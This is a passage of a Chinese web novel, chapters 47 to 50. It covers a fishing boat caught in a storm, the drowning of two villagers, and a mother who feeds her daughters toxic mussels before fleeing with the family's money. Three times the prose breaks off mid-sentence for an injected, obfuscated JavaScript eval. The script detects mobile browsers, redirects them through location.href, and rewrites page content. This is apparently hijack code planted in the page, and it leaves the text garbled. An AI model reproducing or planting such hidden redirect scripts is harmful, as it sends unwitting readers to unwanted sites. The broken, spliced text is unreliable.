事情陷入了僵局,仅靠陈丽珠的一面之词和手头的证据,既不能证明徐夏作弊,也不能证明她没作弊。 “铃铃铃”第一堂考试结束了,学生们从考场里蜂拥而出,不少人围在办公室外看起了热闹。 刘老师站起身,哗啦一声拉上了窗帘:“既然如此,干脆叫何秀芳同学进来,她坐在你们俩身后,说不定能知道点什么。” 徐夏心凉了半截,虽然昨晚已经同何秀芳暂时休战,但自己同陈丽珠比起来,谁在她心里分量更重,简直不言而喻。 许老师拉开办公室的门,冲着门外大喊:“何秀芳,进来一下。” 何秀芳慢吞吞走进了办公室。 刘老师拿起小抄问:“刚才考试,你看见这张纸从徐夏身上掉下来了吗?” 何秀芳摇摇头:“老师,没有。” 陈丽珠傻眼了,提高了音量吼:“秀芳,你实话实话,不要怕她事后找你麻烦。” 何秀芳带着哭腔说:“丽珠,你为什么要撒谎啊,这小抄明明是你偷偷扔的。” 徐夏惊诧地瞪大了双眼,没想到何秀芳竟然不顾和陈丽珠的交情,把实话讲了出来。 陈丽珠傻眼:“何秀芳,你怎么也帮着她陷害我,这小抄不是你给徐夏的吗?” “昨晚在宿舍,大家都睡熟了,你偷偷爬起来,从徐夏书包里翻出复习重点,撕了一页藏起来,”何秀芳解释起来,“我当时还疑惑你在干什么,结果刚才考试看见你扔到她脚下,我才恍然大悟,丽珠,做人要讲良心,可不能随意陷害别人。” 眼见最好的朋友都不帮自己,陈丽珠结结巴巴说不出话来。 事情这下,可算是一清二楚了。 “学校不会放过一个坏人,也不会冤枉一个好人,”刘老师意味深长地说,“陈丽珠,你和我去校长室。” 陈丽珠双眼含泪,默默跟着刘老师出去了。 徐夏和何秀芳收拾好心情,便回到了考场继续下一堂的考试。 接下来的三天,陈丽珠都没有出现在第一考场,只有何秀芳在每天考试结束后,望着前面空荡荡的座位发呆。 直到最后一堂考试结束,许老师才在班上宣布,陈丽珠同学因为个人原因要转学去隔壁公社了。 虽然徐夏和何秀芳谁都没主动提陈丽珠诬告的事,但没有密不透风的墙,阳高早就把这件事传得人尽皆知。 至此,207宿舍,只剩下了四个人。 期中考试结束,学校干脆给大家放了四天的长假。 没想到两人回到解放大队,就出了一件大事。 47.暴风雨来临的前夕 徐夏和宁文骑着自行车刚到了村门口,就撞见宁海神色匆匆地往外跑。 “铃铃铃——”徐夏拨了下车铃,宁文激动地挥起手。 哪知宁海全然没注意到两人的动静,仍然自顾自自地往前赶路。 宁文啪一声从后座上跳下,跑过去拉住宁海:“爸,你上哪儿去,咋失魂落魄的,没在学校上课啊?” 此时还没到下午五点,解放小学还没放学呢,宁海出现在这里,有些异常。 宁海这才回过神来,结结巴巴地说:“出……出事了,船触礁了……” 徐夏心猛地一沉,她这才注意到,宁海的双眼通红,眼珠上布满了血丝,脸上也挂着些泪痕。 宁文着急地问:“爸,你说清楚,什么船触礁了?” “没时间解释了,你们上海边看吧”宁海摇摇头,“我要上县医院去请医生,快把车给我使使。” 徐夏赶紧翻身下车,交给了宁海。 只见宁海一双脚把自行车踩得和风火轮似的,瞬间就不见了踪影。 宁文:“走,海边去。” 赶到海边,只见解放大队的两艘机帆船都好端端靠岸停着,倒是前边密密麻麻全是人,还能听见有人哭天抢地的哀嚎。 “我的儿啊……醒醒啊,你走了让娘怎么活啊!” “好人不长命,坏人活千年啊……宁湖……天怎么不收别人啊!” 徐夏觉得这哭泣声无比的熟悉,老天,竟然是宁湖出了事吗? 徐夏和宁文把鞋子脱了拿在手里,赤着脚啪嗒啪嗒跑过去。 “宁文回来了,快让她进去。”原本围得水泄不通的人群让出了一条仅容两人通过的小道。 宁文和徐夏手牵手挤了进去,眼前的景象让她们目瞪口呆。 文昕正蹲在地上,手不停地安抚着面前的老人。 见鬼了,这老人竟然是冯盼儿! 她跪坐在地上,神情悲伤,哭得涕泗横流。 两人面前一动不动躺着的正是宁湖。 不,更准确地说,是昏迷不醒、生死难料的宁湖。 这是徐夏第一次如此近距离地观察宁湖。 他其实长得和宁海很像,面容清秀,四肢健硕,不说话的时候很有几分读书人的味道。 皮肤因为被海水浸泡的缘故而皱皱巴巴的。 不知道是因为常年不劳作晒不到太阳,还是此时失去了知觉的缘故,皮肤苍白得厉害,双唇没有半分血色, 冯盼儿双手不停地捶打面前的宁湖,仿佛这样就能把他唤醒一般。 宁文蹲下身,趴在文昕耳边问“妈,杂回事儿啊?” 文昕刚要开口,冯盼儿眼睛一斜瞪了过来:“要说风凉话上别处去,别在这里找我的晦气。” “你……”宁文气得就要同她争执,文昕赶紧冲徐夏使眼色。 下一秒,两人一左一右就把宁文架了出去。 宁文挣脱两人的束缚:“妈,你怎么还这么包子?徐夏,你怎么也帮着冯盼儿?” “平时我肯定不拦着你,你就是上手和她打一架我也不管,”文昕深吸了一口气,“你爷爷现在尸骨无存,宁湖虽然被捞上来了但也命若悬丝,何必同她争这一时之气呢?” 啊?宁富国也出事了? 宁文:“二叔还没死啊?” 宁文还真是不知道忌讳。 “啪!”宁文的脑袋突然被打了一下。 她回头正要发火,见出手的居然是宁三水,委屈地抱头说:“三水姨,你干嘛啊!” 宁三水忧心忡忡:“你二叔虽然现在出气比进气多,但还有一口气吊着在。” 宁文:“妈、三水姨,这究竟怎么回事啊?” 见徐夏和宁文都目不转睛地盯着自己,宁三水才慢悠悠讲述了起来。 原来上周日,宁富国和宁海一行人都去了船校考证。 笔试大家都顺利通过了,但到了实地考试,站在五米的跳台上,不少人的腿都开始不听使唤,瑟瑟发抖,连探身去看都不敢。 宁湖和宁富国却毫不畏惧,一个猛子就扎了下去,顺顺当当地通过了实战,成为了解放大队第二批船员。 周一一大早,海上风平浪静,此时正值蓝点马鲛的汛期,宁三水便决定带他们这批新船员出趟短程,上最近的白潵渔场,以适应一下海上的生活,也顺便选出第二艘机帆船的船长。 起初在洋海湾里天气是极好的,风和日丽,加上浪头也小,船行驶得很稳当,新船员里连一个晕船的都没有。 出了洋海湾,却突然刮起了西北风,宁富国头上的帽子被吹得在空中来回打转。 宁富国捂着脑袋,一路追着帽子跑到了船边,这还没完,竟然伸长了手臂想去够。 还是出来看海上情况的宁三水路过,眼疾手快把他扯了回来,不然风一刮,宁富国搞不好当场就要葬身大海。 被宁三水拽回来后,看着一望无际黑压压的海面,宁富国才回过神,吓得四肢无力。 如果不是宁三水把他扶着,立时他就要瘫软在地了。 “滋啦滋啦……”船上的收音机响了,宁三水扔下宁富国咚咚咚跑回驾驶室,竖起耳朵听了起来。 这台收音机是宁三水专门向队里申请购买的,用来收听阳县气象台的预报,以防止有险情发生。 收音机里传来播音员标准的普通话:“今日22点至明日白天,白潵渔场风力3-4级,阵风可达5级,风向西北,请往来渔船注意……” 宁三水刚才因为西北风刮掉宁富国帽子而悬着的心,这时才彻底放下来。 3-4级,不是什么大风,“三八号”足以应付。 想到这里,宁三水转动舵杆的手就加大了几分力气,“三八号”全速开向白潵渔场。 路上果然没有再起大风,宁三水远远地望见白潵渔场方向驶出来一艘艘渔船,一时间,机帆船的马达声和汽笛声此唱彼和,好不热闹。 看它们一艘艘都吃水很深的样子,显示是刚作业而归,收获颇丰。 驶近了,透过这些渔船的窗户,能看到船舱里堆满了蓝点马鲛。 这还没够,甲板上还垒满了没来得及从渔网里掏出的蓝点马鲛,一个赛一个的大,肥美无比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984408|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至快把渔网撑破了。 渔船上站立的渔民都精神百倍,黝黑的脸颊上带着掩饰不住的兴奋。 这哪里是蓝点马鲛,分明就是活生生的钱和票啊! 那满眼的黑蓝色,不光宁三水看得心痒难耐,整条“三八号”上的船员都恨不得立刻就撒网捕鱼。 随着离白潵渔场越来越近,海面逐渐传来一声声“咕噜……咕噜……”的叫声。 不等宁三水解释,有经验的船员就欢呼起来:“是潮鲅!” 原来,蓝点马鲛的学名在拉丁语中是指“蠢笨的鲭鱼”,而在阳县当地的方言里,傻头傻脑的人就被叫做“潮鲅”。 这咕噜咕噜的声音则是蓝点马鲛的求偶声。 不过在渔民的耳朵里,这咕噜咕噜的声音更像是“三八号”丰收的信号。 此时,不远处却飘来了一艘舢板船,一个老人立在船头,奋力划着浆板朝“三八号”并拢过来。 “那不是隔壁队的王复生王大爷嘛,他可是个开船的好手!我还穿开裆裤的时候,他就在海上捕鱼了。”有眼尖的船员认出了老人。 两艘船靠近了,王复生将舢板船同“三八号”系在一起,顺着梯子爬上甲板,神情焦急,双手不停地挥舞,嘴里大喊着:“别往前开了,暮看西北黑,半夜有风雨!快回程吧!晚上有八级大风!” 宁三水的心此时又吊了起来,不由地停下了转动舵杆的手。 虽然气象预报说风力只有3-4级,但是以现在的技术,还不能100%预报准确。 听川省的远房亲戚说,天气预报到了他们盆地更是吃瘪,不准确的时间高达80%。 它说明天出太阳,你要是信了,准保得淋成个落汤鸡。 而刚爬上“三八号”的王复生,能撑着一搜舢板船就行驶这么到这么远的地方,显然是对海上的天气预报有自己的一套观察方法。 宁三水曾经听队里的老人说过,古代的航海船只上有专门负责观测天气的船员,像这个老人一样,他们通过云层的变化,就能准确判断出将来是天晴还是天阴,是顺风还是逆风。 对于王复生的警告,船员们都慌了神,大家并不知道,应该相信谁的话。 一个个都盯着宁三水,期盼着她下决定。 虽然眼前触手可及的丰收令宁三水无比心动,但是确保整船人的生命安全,把大家全须全尾带回解放大队,才是她作为船长的头等要务。 宁可信其有,不可信其无。 宁三水当即决定,调转船头,回程。 宁富国和宁湖却并不愿意就这样空手而归。 只见宁富国单手握拳,朝空中猛地一挥:“这点困难算什么,我们争时间、攻潮水、捕大鱼!” 宁湖更是直接从“三八号”跳上了王复生的舢板船,冲着宁富国招手:“爸,他们不去我们自己去,一群胆小鬼!” “之后我们捞得鱼赚了钱,你们可别想分一勺羹。”宁富国见船员们都像看傻子似的望着自己,也哐当一声跳了下去。 王复生看见两人不问自取的行为,忍不住怒吼:“你们干什么?” 48.死神降临 “对不住,王大爷,是我没约束好手下的船员,”宁三水赶紧从船舱里冲出来,先对着王复生鞠躬赔礼,然后跑到船栏杆边低下头冲着舢板船大喊,“富国叔、宁湖,你们捣什么乱,快上来!” 谁知宁富国和宁湖装作没听见,拿出小刀直接割断了两船之间的系带,一左一右摇着浆板,向白潵渔场驶去,将“三八号”上船员们的呼喊声远远地甩在了身后。 听到这里,宁文惊呼出声:“然后你们就回程了?那又怎么带回宁湖的,宁富国又去哪里了?” 徐夏拍了宁文背一巴掌:“你急什么,三水姨还没讲完呢。” 宁三水继续向下讲述起来。 见宁湖和宁富国两人不管不顾扔下“三八号”的船员就走,宁三水心都揪在了一起。 要知道他们这么混不吝,自己打死也不会主动提出带他们上船,这下可麻烦了,是回程还是继续前进去追他俩啊? 离宁三水最近的船员见她手上的动作停了,眼睛也呆呆地直视前方,忍不住出言劝阻道: “三水,要不别管他们了?” 其他同宁富国一家不对付的船员也附议起来:“就是,管这俩心大的玩意儿干嘛?迟早把命送了。” “老话说得好,‘阎王要他三更死,谁敢留你到五更?’,咱们已经仁至义尽了。” 按理说都是一个队的,大家同宁富国或者宁湖也算是发小,多少也有几分感情,这个时候无论是出于道义还是出于同乡情,都不会说这些风凉话。 但宁富国和宁湖素来为人不行,虽然有宁海一家人替他们在村里刷好感值,仍然得罪了很多人。 又加上之前在夜校学习,宁富国和宁湖学得比其他人快,嘴上夹枪带棒就开罪了不少人。 但也有那圣人心泛滥的,此时和大多数人唱起了反调:“怎么能不管他们,来的时候三水可是和支书保证了,带多少人出来,就得带多少人回去。” “那他俩自己要找死,我们拦也拦不住啊。” 刚才还理直气壮想做滥好人的船员被立刻被怼的哑口无言。 听见众人的嚷嚷声,宁三水眉头越皱越紧。 其他人能轻易地提出放弃宁富国和宁海,自己作为船长却不能。 但是要冒险去追他爷俩,把大家的生命置于危险的境地,她也做不出来。 王复生看出了宁三水的心思,赶紧劝慰道:“船长,你想去把他俩劝回来?” 宁三水点点头。 “你想开船去追,怕是不能了,一来你这船上的大多数兄弟姐妹们不会同意,二来再往前走,风浪就越大,搞不好,这条船上二十几个人的命,今天都得葬送在这里了。” 宁三水只觉得这辈子都没有这一刻这么难熬。 “干脆我们就在这里等着,如果他们运气好,没有遇上风浪,回来的时候还能一起。 如果他们运气不好,我们等到风浪过去,还能去给他们收尸……”王复生的话简单而直白。 宁三水望着仍然在争论的船员们,把心一横,拿起扩音喇叭说:“大家安静听我说。” 刚才还吵吵闹闹的甲板顿时变得寂静无声,船员们都伸长了脑袋,等待着宁三水发话。 “咱们来的时候,可是和家里做了保证,一定平平安安地回去,”宁三水的声音嘹亮而清晰地回荡在海面上,“富国叔和宁湖兄弟扔下了我们,是他们不讲道理,但我们不能做那等不管不顾的人,我们就在这里原地休息,等到他们回来,生要见人,死要见尸。” 船员们都沉默了,你看看我,我看看你。 “三水说的在理,我们不能和宁富国似的枉做小人。” “好!”人群里突然爆发出附和的声音。 其他船员见状也就用鼓掌表示同意了。 随着月色越来越深,宁富国和宁湖爷俩,慢慢划进了白潵渔场。 望着深蓝色的海面,和此起彼伏的咕噜声,宁湖喜上眉梢:“爸,还好没听宁三水的,我们这次准得发了!” “她就是头发长,见识短,明明天气预报都说了只有3-4级风,非要听信王复生的一面之词,”宁富国看着此时平静的海面,快乐地拍着肚皮,“他海上经验是丰富,可难免会有失算的时候” 宁湖赞同道:“这次一定要狠狠打宁三水的脸,等咱们满载而归,那第二艘船的船长之位还不就是爸你的囊中之物。” 要是这没脸没皮的爷俩此时知道是宁三水一人力排众议,决定在渔场外等他们,非得羞愧到直接跳海不可。 不过以他二人不要脸的程度,没准不会感动,还会说些闲话。 夜深了,看着仍然风平浪静的海面,船员们陆陆续续走进了船舱准备休息。 有些人难免开始怀疑起王复生预报的准确性了,连带着质疑起了宁三水。 “三水哪里都好,就是太怕事了。” “就是,她也太胆小了。” 宁三水此时也和衣在驾驶舱躺下,表面上看她已经沉沉睡去,实际上她只是在闭目养神。 不为别的,虽然这里离白潵渔场还有一段距离,万一被王大爷说中了,今晚估计会有一场恶战。 海风将众人的闲言碎语吹进了宁三水的耳朵,她却觉得无所谓,不会起大风浪最好,最多就是被大家埋怨几句,要是真起了大风浪,那宁富国和宁湖,就真的是九死一生了。 正想得出神,船舱外突然传来了“咔嚓”的声音。 宁三水立刻站起来,披着衣服冲出驾驶舱。 海风里混合着的不知道是雨水还是海水,打得宁三水的脸啪啪作响。 眼前的景象令她瞠目结舌,竟然是“三八号”的桅杆被风折断了! 一时间海上狂风大作,风云变化,六尺高的浪头劈头盖脸的向“三八号”打来。 整个海面黑洞洞地,“三八号”仿佛置身海怪的血盆大口里,被巨舌搅动得上下翻滚。 不断的有海水涌上甲板,流进船舱里。 宁三水觉得毛骨悚然,真被王复生说中了。 如果自己不管不顾去了渔场,此时估计已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003510|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经送命了。 这还是宁三水头一回遇到如此大的风暴,她站在摇摇晃晃的甲板上,大叫起来:“大家醒醒!被王大爷说中了,起风浪了!” 船员们不知道是被晃醒还是被叫醒的,接连不断地从船舱里跑了出来。 许是海水把甲板变得滑溜溜的,不时有船员跌倒在地,发出哎呀哎呀的惨叫声。 “完了,我们今晚不会死在这里吧。” 听见这声哀嚎,船员们的的脸色都唰的一声变得苍白,一个个浑身战栗,面色如土。 宁三水镇定地说:“大家不要怕,听我指挥!先回舱拿容器把海水舀出去。” 船员们便一个接一个拿起木桶,奋力舀起了海水。 宁三水则回到驾驶舱,双手紧握舵杆,努力控制“三八号”不被海风吹偏。 渐渐地风暴也停了,宁三水长舒了一口气,噩梦终于过去了。 此时天渐渐亮了起来。一轮红日跃出海面,宣告着“三八号”的胜利。 “三水,我们处于风暴的外围都这么凶险,”王复生凑到宁三水跟前说,“只怕宁富国和宁湖是凶多吉少啊。” 宁三水心下一沉,不知道说什么才好。 突然一名船员指着海面惊呼起来:“快看!是宁湖。” 宁三水定睛一看,只见不远处飘来了一块木板,上面躺着一个人,双目紧闭,正是宁湖。 宁三水赶紧转动舵杆靠近木板,船员们踩着梯子探身下去将宁湖搬上了甲板。 宁三水咚咚咚跑出驾驶舱,扒拉开围观的船员说:“大家给我搭把手。” 几人便蹲下来将宁湖翻了个面,头朝下。 宁三水用手指撬开宁湖的牙齿,掏出他嘴里的泥沙,又啪啪啪拍打起了他的背部。 宁三水:“宁湖肯定喝了不少海水,再把他翻个面。” 将宁湖翻转过来,宁三水便用膝盖使劲顶住他的腹部,宁湖的口中就不停地流出了海水。 “咳咳……”宁湖悠悠醒转过来,眯着眼带着哭腔说:“我爸,我爸死了!” 宁三水着急地问:“怎么回事?” “渔场……渔场起了大风浪,一个浪头打来,我爸就掉进海里了……”宁湖磕磕巴巴讲了起来,“船只剩下一块木板了……” 整个“三八号”陷入了一片寂静当中,宁富国,多半是葬身大海了。 “咳咳……咳咳”宁湖突然剧烈地咳嗽起来,眼睛一翻就晕了过去。 宁三水将食指伸到宁湖鼻腔下,竟然是进气少,出气多,还是得快点回到陆上去。 “大家准备一下,我们立刻启程回去!”宁三水一声令下,船员们便各自分头行动起来。 随着发动机“突突突”地冒起黑烟,“三八号”便缓慢地踏上了归途。 听完故事的徐夏和宁文久久说不出话来,没想到宁富国就这样消失在了大海上。 “我的儿啊!你的命怎么这么苦啊!”身后的人群里突然传来了冯盼儿的哭嚎声,“怎么忍心让我白发人送黑发人啊!” 49.祸不单行 宁文拉着徐夏就往人群里钻。 只见冯盼儿扑倒在宁湖身上,哭成了泪人。 宁文将手伸到宁湖鼻子下一探,吓得立刻缩了回来。 老天!宁湖没有呼吸了! 冯盼儿被宁文的动静吸引,恶狠狠地瞪着她说:“都是你这个扫把星,克死了你爷爷和你二叔。” 宁文气得就想上手同冯盼儿理论。 徐夏赶紧拉住了宁文反驳道:“冯奶奶,你讲点道理,宁文要是扫把星,怎么不先克海叔和文婶,没得克血缘关系远了一层的爷爷和二叔。” 冯盼儿擦干眼泪,轻蔑一笑:“你别在这里充好人,你比她好不了哪里去,克死父母的赔钱货,我呸。” 徐夏气得松开了束缚宁文的手。 文昕听见里面的吵闹声,赶紧进来把宁文和徐夏拉了出去:“你们同她吵什么,没得费这个口舌,走,回家。” 三人将冯盼儿的哀嚎声甩在了身后,手牵着手往家走。 走着走着,徐夏突然觉得不对劲:“文婶,怎么不见陈幺妹?” 从徐夏和宁文赶到海边,听宁三水讲完故事,直到三人离开,一直都没见到陈幺妹的身影。 文昕摇摇头说:“不知道,兴许是在家里等着吧,她家三个孩子要管呢。” 徐夏觉得奇怪,宁湖出了这么大的事,陈幺妹作为老婆,怎么可能一直不出现呢。 正想着,耳边传来了“叮铃铃……”的声音。 徐夏抬头一看,竟是宁海载着个医生回来了。 文昕赶紧将他拦下,把宁湖没了呼吸的事讲了出来。 宁海脸色一沉说:“我还是带着牛医生去海边看看,你们先去老屋,看看陈幺妹和几个孩子,叫他们赶紧去海边,总得见他们爸最后一面。” 说完,宁海便载着牛医生往海边骑去。 徐夏三人只好往宁家老屋走去。 到了老屋门口,只见大门敞开着,门锁孤零零地躺在地上。 宁文正要抬腿进去,文昕伸手将她扯回来,拉长了声音呼喊起来:“幺妹!在家吗?” 老屋安安静静的,没有任何回应。 宁文见状也提高了音量:“玉竹、玉梅、玉松,在家吗?” 仍然没有任何动静。 徐夏心里的疑虑更深了。 文昕只好牵着两人走了进去。 一进堂屋,三人大惊失色。 太师椅和长条八仙凳都歪歪扭扭地倒在地上。 原本放花瓶的位置,此时只留下了一块圆形灰尘。 竟像是遭了贼! 宁文赶紧冲到宁富国和冯盼儿的屋子里,熟门熟路地爬进床底,拿出了一个木匣。 这番操作看得文昕和徐夏目瞪口呆。 “幸好这匣子还在,”宁文得意地笑起来,“这么多年了,爷奶还是把家当都放在这里面。” 啪嗒一声打开木匣,宁文傻眼了,里面空荡荡的,什么东西也没有。 三人这才注意到,宁富国和冯盼儿的屋里,也被翻得一团乱。 三门衣柜大敞开着,里面的衣物被翻得乱七八糟,抽屉上的锁也被撬开,没有留下一件值钱的东西,连褥子和衣服都扔在了地上。 文昕又推开宁湖和陈幺妹的卧室,也没有幸免,抽屉和柜子都被粗暴地拉开了。 看来这歹人也不是个傻的,把宁家老屋翻了个底朝天,值钱的东西都拿走了。 徐夏:“报警吧!” “咯嗤……噗通……”话音刚落,隔壁宁玉竹和宁玉梅的屋子传来了一阵响动。 三人跑过去一看,宁玉梅竟然好端端地躺在床上,宁玉竹则是趴在地上,睡眼惺忪地揉起了眼睛。 看样子,宁玉竹像是刚从床上摔下来。 “玉竹,你俩咋大白天的就在家里睡着了呢?”文昕上前扶起倒在地上的宁玉竹,伸手给她拢了两下头发,“你爷和你爸出事了不知道啊?” 宁玉竹点点头说:“妈说我们去了也没有用,不如就在家里等,不知道为啥我俩吃完饭就迷迷糊糊睡着了。” “吃的什么东西?”徐夏敏锐地捕捉到了有效信息。 宁玉竹指着床边桌的两个空碗说:“喏,妈亲自给我俩煮的淡菜,可好吃了。” 淡菜是什么?徐夏还真不知道。 拿起瓷碗一看,里面还孤零零躺着一个吃剩的紫贻贝。 宁玉竹咂咂嘴,摸着肚皮仿佛还在回味。 难道是误食了有毒的紫贻贝导致的昏迷? 徐夏眯起眼睛,仔细回想起上辈子看过的新闻。 美丽国曾发生过一起恶性中毒事件,大量的渔民因为食用了有毒的紫贻贝而昏迷数天。 说是有毒贝类其实并不准确,严谨的提法是“贝类通过摄入有毒的藻类,导致毒素在体内不断积累”。 贝类还没来得及将毒素及时排出,便被人类捕捞上来,做成了美味佳肴,倒霉的食用者就这样中了毒。 贝毒大概有四种,分别是腹泻型贝毒、麻痹性贝毒、记忆缺失性贝毒和神经性贝毒,其中记忆缺失性贝毒就会导致人头晕眼花,失去方向感。 莫非宁玉竹和宁玉梅吃的紫贻贝里面也恰巧有这种导致昏迷的毒素? 正想着,系统突然出现在徐夏的识海:【宿主,即将为您紧急开启实验室功能。】 真是想打盹有人递枕头,徐夏此时恨不得捧着系统的脸狠狠嘬几下。 【系统,你快检测下这紫贻贝里面是否有软骨藻酸?】 系统:【宿主,实验自己做1金币一次,快速检测做就得50金币一次。】 徐夏来不及算账:【50就50,扣扣吧。】 过了几秒钟,系统面板清晰地显示出一行字:【Bingo!检测到软骨藻酸。】 还真是瞎猫撞上死耗子了,美丽国那起中毒事件的后续,就是以法医在紫贻贝中提取到了一种会引起人昏迷的物质——软骨藻酸而结束的。 “这地上有张纸!”宁文惊呼起来。 徐夏蹲下去一看,纸上歪歪扭扭写着:玉竹、玉梅,你爸死了,妈带着弟走了,照顾好自己,勿找。 宁玉竹好奇地凑上去一瞧,立刻捂着脸呜呜哭了起来。 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017396|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉梅此时也被吵醒了:“姐,你咋哭了?” “爸死了,妈带着弟弟走了,不要我们了。”宁玉竹扑上去嚎啕大哭起来。 宁玉梅愣在床上:“妈不会这么狠心吧,她今天不还说过去对我们不好,特意煮了淡菜,玉松想吃都被她骂了一顿吗?” “妈骗我们的,这就是她做给我们的最后一顿。”宁玉竹哭道。 天下哪有这么凑巧的事,怕不是陈幺妹早就知道这紫贻贝有毒,故意煮给宁玉竹和宁玉梅吃的,趁她们昏迷过去,自己好带着宁玉松卷了家里的钱财跑路。 “婶,咱们还是报警吧,家里东西都不见了,总要弄个清楚,”徐夏想到这里,起身对文昕说。 “报什么警?”宁海的声音突然从堂屋传来。 文昕咚咚咚跑了出去,趴在他耳边将老屋发生的事讲了个一清二楚。 宁海越听眉头皱得越紧,猛地一拍桌:“是要报警!我这就去派出所。” 宁文问:“等等,爸,二叔呢?奶奶又去哪里了?” 你二叔……你二叔没能救回来,你大爷找人把他拉去火葬场了,”宁海脸色突变,仿佛乌云遮住了阳光,“你奶奶,说她以后就回娘家住了,和我要了钱就跟着你大爷走了。” 好家伙,真是树倒猢狲散,昨天还是齐齐整整的一家七口,今天就只剩下宁玉竹和宁玉梅两姐妹了。 宁文见状推搡着宁海往外走:“爸,你快去报警吧!我们陪着玉竹和玉梅。” 宁海点点头,骑上自行车,还没出老屋,就看见宁富田远远地跑了过来。 “阿海啊,出大事了啊!” 徐夏心里咯噔一响,还能再出啥大事啊? 宁富田三两步跑到跟前,上气不接下气地说:“幺妹……玉松……” “大伯,你慢慢说。”宁海抚摸着宁富田的背。 “慢什么啊,”宁富田不耐烦地一挥手,“公社派出所来人说,幺妹和玉松在路上被大货车撞了。” 宁文幸灾乐祸地问:“没撞出毛病吧?” “没撞出毛病。”宁富田摇摇头又点点头,“直接碾成肉酱了。” 啊? 宁文的笑容直接僵在了脸上。 徐夏只觉得胃里一阵翻涌,哇地一声就把中午吃的东西呕了出来。 宁海见宁富田身后没有冯盼儿的身影,忍不住问:“那我娘呢?她听见这消息没事吗?” “派出所来的公安认识咱们村的人,见你娘年纪大了,怕她受刺激,特意把我拉到一旁说的,”宁富田语重心长地说,“我编了个幌子就把她瞒过去了,要是之后你娘回来了,你可得想想怎么告诉她这件事。” 宁海点点头,放下心来。 徐夏压低声音趴在宁文耳边说:“别看海叔平时在家里从来不提你奶,关键时候,还是担心你奶的。” 宁文说:“你不知道,我奶有心脏病,受不得刺激,要是知道她乖孙去了,弄不好一口气上不来就气死了。” “我的乖孙哦……”院子外面突然传来一阵熟悉的哀嚎声。 坏了,是冯盼儿,她怎么回来了! 50.第 50 章 宁海第一个冲出院子,宁文和徐夏也跟着跑了出去。 只见冯盼儿摇摇晃晃地站在老屋外,双眼通红,泪流满脸,模样比下午在海边还要老了几分。 冯盼儿本来就是个疑心病很重的人,和宁富田分开之后,她越想越不对劲,干脆跑回来想找他问清楚。 路上听村民们说宁富田上老屋来了,她便径直走了过来。 谁知才走到屋外,就听见了宁玉松出车祸的事。 看着几人从宁家鱼贯而出,冯盼儿一张嘴开开合合,却一句完整的话也说不出了,只能从喉咙里挤出几声嘶哑的干嚎。 还没等宁海上去扶住她,冯盼儿眼睛一翻,就晕了过去。 宁海赶紧将冯盼儿从地上抱起来,哼哧哼哧跑回老屋,将她放在床上。 “娘,娘,你醒醒。” 可无论宁海怎么呼喊她的名字,冯盼儿的双眼依然紧闭着,没有一丝回应。 宁文见状,直接上手打了冯盼儿两巴掌:“奶,你醒醒。” “快把你娘往卫生院送吧。”宁富田跟着进了屋,叹了一口气,“宁湖、幺妹和玉松的后事,我去弄就行了,你就别管了。” 事情怎么变得如此的戏剧化,徐夏只觉得无比荒谬。 “那玉竹和玉梅这两天可怎么过?”宁海陷入了沉思。 宁玉竹在卧房内听见这边的动静,晃晃悠悠地走出来,倚着门框说:“大伯,你不用担心我们,我们有手有脚,靠自己也能活得好好的。” 宁玉竹和宁玉梅读完小学就辍学了,一直在家里干活,没少被宁家老屋其他五个人欺负,现在只剩下她们自个,日子说不定能过得更好 徐夏这下倒真是要对宁玉竹刮目相看了。 从前在宁家老屋,宁玉竹和宁玉梅都畏畏缩缩不说话,徐夏还以为她俩是个不中用的,结果现在家里出了这么大的事,宁玉竹反而能勇敢地站出来,看来真是小瞧了。 宁海点点头,眼中全是欣赏:“以后有事,就上大伯家来,别怕麻烦。” 宁富田从怀里掏出一把钱和票塞到宁玉竹手里:“这是你娘身上的东西,收好。” 宁文凑到徐夏身旁小声说:“估计那就是二婶从老屋搜刮的钱财。” 宁海见状,也明白了过来,眼下也没有必要再去报警了,去队部借了辆木驾车,推着冯盼儿去了公社卫生院。 文昕三人则是陪着宁玉竹和宁玉梅将老屋重新整理了一番,才回到了家里,忙碌了一天,很快就沉沉睡去。 接下来的几天,宁海都待在卫生院,连家都没回过。 周日一大早,天还没亮,宁富田将大门拍得啪啪啪作响:“宁文,开门!” “来了,等等!”宁文随手拿起床头柜子上搭着的深色长裤和粗布长袖,胡乱笼在身上,扱了双布鞋就匆匆往院子里跑。 宁文走到大门口,在身上东摸西摸也没找到钥匙。 “喏,掉床底了。”徐夏不知道何时也穿好衣服出来了,食指上套着一串钥匙。 “宁文,你快点,平时那么急性子一个人,今天怎么磨磨蹭蹭的。”宁富田不耐烦地在门外催促道。 